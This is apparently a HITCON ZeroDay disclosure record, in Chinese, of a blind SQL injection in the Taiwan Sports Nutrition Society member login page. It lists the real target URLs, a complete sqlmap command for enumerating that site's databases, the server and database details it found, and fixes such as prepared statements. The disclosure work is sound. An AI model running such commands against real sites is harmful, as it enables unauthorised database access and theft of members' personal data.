Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00581
- Vendor: 臺灣運動營養學會
- Title: 臺灣運動營養學會的會員登入頁存在SQL Injection漏洞
- Introduction: 會員登入頁面的帳號欄位存在「boolean-based blind」盲注SQL Injection漏洞
處理狀態
目前狀態
公開
Last Update : 2021/10/29
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2021/08/29 11:06:42 : 新提交 (由 阿美 更新此狀態)
- 2021/08/29 11:08:30 : 新提交 (由 阿美 更新此狀態)
- 2021/08/29 11:10:15 : 新提交 (由 阿美 更新此狀態)
- 2021/08/29 11:18:39 : 新提交 (由 阿美 更新此狀態)
- 2021/09/04 23:33:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/09/04 23:33:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/09/04 23:35:02 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/09/06 11:22:10 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/09/06 11:22:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/09/06 11:22:10 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/10/29 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00581
- 通報者:gmwa (阿美)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://tssn.utaipei.edu.tw/login.asp?lightbox[iframe]=true&lightbox[width]=450&lightbox[height]=300
http://tssn.utaipei.edu.tw/clogin.asp
http://tssn.utaipei.edu.tw/clogin.asp
敘述
利用「sqlmap -u "http://tssn.utaipei.edu.tw/clogin.asp" --data="pid=ab&pwd=cd&%E9%80%81%E5%87%BA=%E7%99%BB%E5%85%A5"--method=POST -p "pid" --batch -dbs --risk=3 --level=5 --referer="http://tssn.utaipei.edu.tw/login.asp?lightbox[iframe]=true&lightbox[width]=450&lightbox[height]=300" -v 3」,發現:
網站為 Microsoft IIS 7.5,後端資料庫為 Microsoft SQL Server 2012,其中「TSSN」為本網站使用的資料庫。如圖所示。
修補建議
一、登入頁面常是SQLi攻擊的標的,建議加入圖形驗證(CAPTCHA)及CSRF-Token,以防機器嘗試。
二、DB的查詢語句可改用 PreparedStatement , 或者已知是字串格式的參數,可以將單引號取代成兩個單引號(即以 '' 取代使用者提交的 ' ),若是數字型參數,應濾掉數字及減號以外的字元。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。